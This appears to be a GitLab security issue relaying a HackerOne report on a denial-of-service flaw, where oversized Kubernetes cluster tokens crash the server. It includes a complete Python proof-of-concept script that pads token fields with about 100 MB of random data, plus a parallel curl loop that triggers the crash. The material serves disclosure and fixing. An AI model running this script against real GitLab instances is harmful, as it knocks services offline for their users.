Skip to content

Unbounded Kubernetes Cluster Tokens Leading to Server Crash

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #3045424 by pwnie on 2025-03-19, assigned to @ameyadarshan:

Report | How To Reproduce

Report

Summary

GitLab’s Kubernetes cluster integration lacks limits on token size. By inflating these tokens with arbitrary data, an attacker can force the server to process massive payloads, ultimately leading to a Denial-of-Service (DoS) crash.

Steps to Reproduce

  1. Enable Certificate-Based Clusters
    Open the Rails console on the GitLab instance and run:

    Feature.enable(:certificate_based_clusters)  
  2. Inline Proof-of-Concept Script
    Use the following Python script to create clusters with inflated tokens. Replace the host, private token, and project ID as needed:

    #!/usr/bin/env python3  
    import requests  
    import argparse  
    import json  
    import sys  
    import os  
    import base64  
    import re  
    import random
    
    def parse_arguments():  
        """Parse command line arguments for GitLab cluster creation."""  
        parser = argparse.ArgumentParser(  
            description='Create a Kubernetes cluster in GitLab project using requests'  
        )  
          
        # GitLab connection parameters  
        parser.add_argument('--gitlab-url', required=True, help='GitLab instance URL (e.g., https://gitlab.com)')  
        parser.add_argument('--private-token', required=True, help='GitLab private token for authentication')  
          
        # Required parameters  
        parser.add_argument('--project-id', required=True, help='The ID or URL-encoded path of the project')  
        parser.add_argument('--name', required=True, help='Cluster name')  
        parser.add_argument('--api-url', required=True, help='URL to access the Kubernetes API')  
        parser.add_argument('--token', required=True, help='Token to authenticate against Kubernetes')  
          
        # Optional parameters  
        parser.add_argument('--domain', help='Cluster base domain')  
        parser.add_argument('--enabled', type=lambda x: x.lower() == 'true', default=True,  
                            help='Determines if cluster is active (true/false)')  
        parser.add_argument('--managed', type=lambda x: x.lower() == 'true', default=True,  
                            help='Determines if GitLab manages namespaces and service accounts (true/false)')  
        parser.add_argument('--ca-cert', help='TLS certificate (needed if API is using a self-signed TLS certificate)')  
        parser.add_argument('--ca-cert-file', help='Path to TLS certificate file (alternative to --ca-cert)')  
        parser.add_argument('--namespace', help='Unique namespace related to Project')  
        parser.add_argument('--authorization-type', default='rbac', choices=['rbac', 'abac', 'unknown_authorization'],  
                            help='Cluster authorization type (default: rbac)')  
        # Removed environment scope argument  
        parser.add_argument('--management-project-id', type=int, help='The ID of the management project')  
          
        # New argument: amount of random MB to generate for the username field  
        parser.add_argument('--random-mb', required=True, type=int,  
                            help='Amount of random MB to generate for the username field')  
          
        return parser.parse_args()
    
    def main():  
        """Main function to create a cluster using GitLab API."""  
        args = parse_arguments()  
          
        # Read CA cert from file if provided  
        ca_cert = args.ca_cert  
        if args.ca_cert_file and not ca_cert:  
            try:  
                with open(args.ca_cert_file, 'r') as file:  
                    ca_cert = file.read()  
            except Exception as e:  
                print(f"Error reading CA certificate file: {e}", file=sys.stderr)  
                sys.exit(1)  
          
        # Generate random username data:  
        # 1. Generate n MB random bytes.  
        # 2. Base64-encode the bytes.  
        # 3. Remove all non-alphanumeric characters.  
        num_bytes = args.random_mb * 1024 * 1024  
        random_bytes = os.urandom(num_bytes)  
        base64_data = base64.b64encode(random_bytes).decode('utf-8')  
        username = re.sub(r'[^a-zA-Z0-9]', '', base64_data)  
          
        # Construct the API endpoint URL  
        api_url = f"{args.gitlab_url}/api/v4/projects/{args.project_id}/clusters/user"  
          
        # Set up headers with authentication token  
        headers = {  
            'Private-Token': args.private_token,  
            'Content-Type': 'application/json'  
        }  
          
        # Prepare the payload data, including the generated username  
        payload = {  
            'name': args.name,  
            'enabled': args.enabled,  
            'managed': args.managed,  
            'platform_kubernetes_attributes': {  
                'username': username,  
                'api_url': args.api_url,  
                'token': username,  
                'authorization_type': args.authorization_type  
            }  
        }  
          
        # Add optional parameters if provided  
        if args.domain:  
           payload['domain'] = args.domain  
        if args.management_project_id:  
            payload['management_project_id'] = args.management_project_id  
        if ca_cert:  
            payload['platform_kubernetes_attributes']['ca_cert'] = username  
        if args.namespace:  
            payload['platform_kubernetes_attributes']['namespace'] = args.namespace  
          
        # Set environment_scope to a random 10-digit number as a string  
        payload['environment_scope'] = str(random.randint(1000000000, 9999999999))  
          
        # Make the POST request to the GitLab API  
        try:  
            response = requests.post(api_url, headers=headers, json=payload)  
            response.raise_for_status()  
            print("Cluster created successfully!")  
            print(json.dumps(response.json(), indent=2))  
              
        except requests.exceptions.HTTPError as http_err:  
            print(f"HTTP error occurred: {http_err}", file=sys.stderr)  
            print(f"Response: {response.text}", file=sys.stderr)  
            sys.exit(1)  
        except requests.exceptions.RequestException as err:  
            print(f"Error occurred: {err}", file=sys.stderr)  
            sys.exit(1)
    
    if __name__ == "__main__":  
        main()  

    Usage Example:
    Replace placeholders accordingly and run the script five times:

    python3 create_cluster.py --gitlab-url http://localhost --project-id 1 --name pwned --api-url https://example.com --private-token <YOUR_PRIVATE_TOKEN> --enabled false --random-mb 100 --token dummy  
  3. Trigger the Crash
    After executing the script 5 times to create multiple clusters with oversized tokens, run the following command to stress the API endpoint and crash the server:

    seq 100 | xargs -P 20 -I {} curl http://localhost/api/v4/projects/<PROJECT_ID>/clusters --H 'PRIVATE-TOKEN: <YOUR_PRIVATE_TOKEN>'  

Impact

  • Denial-of-Service (DoS):
    The vulnerability enables an attacker to crash the GitLab server by overloading it with inflated token data, exhausting available resources.
  • Service Disruption:
    In production, this could interrupt development pipelines and hinder access to GitLab services.

Impact

  • Denial-of-Service (DoS):
    The vulnerability enables an attacker to crash the GitLab server by overloading it with inflated token data, exhausting available resources.
  • Service Disruption:
    In production, this could interrupt development pipelines and hinder access to GitLab services.

How To Reproduce

Please add reproducibility information to this section: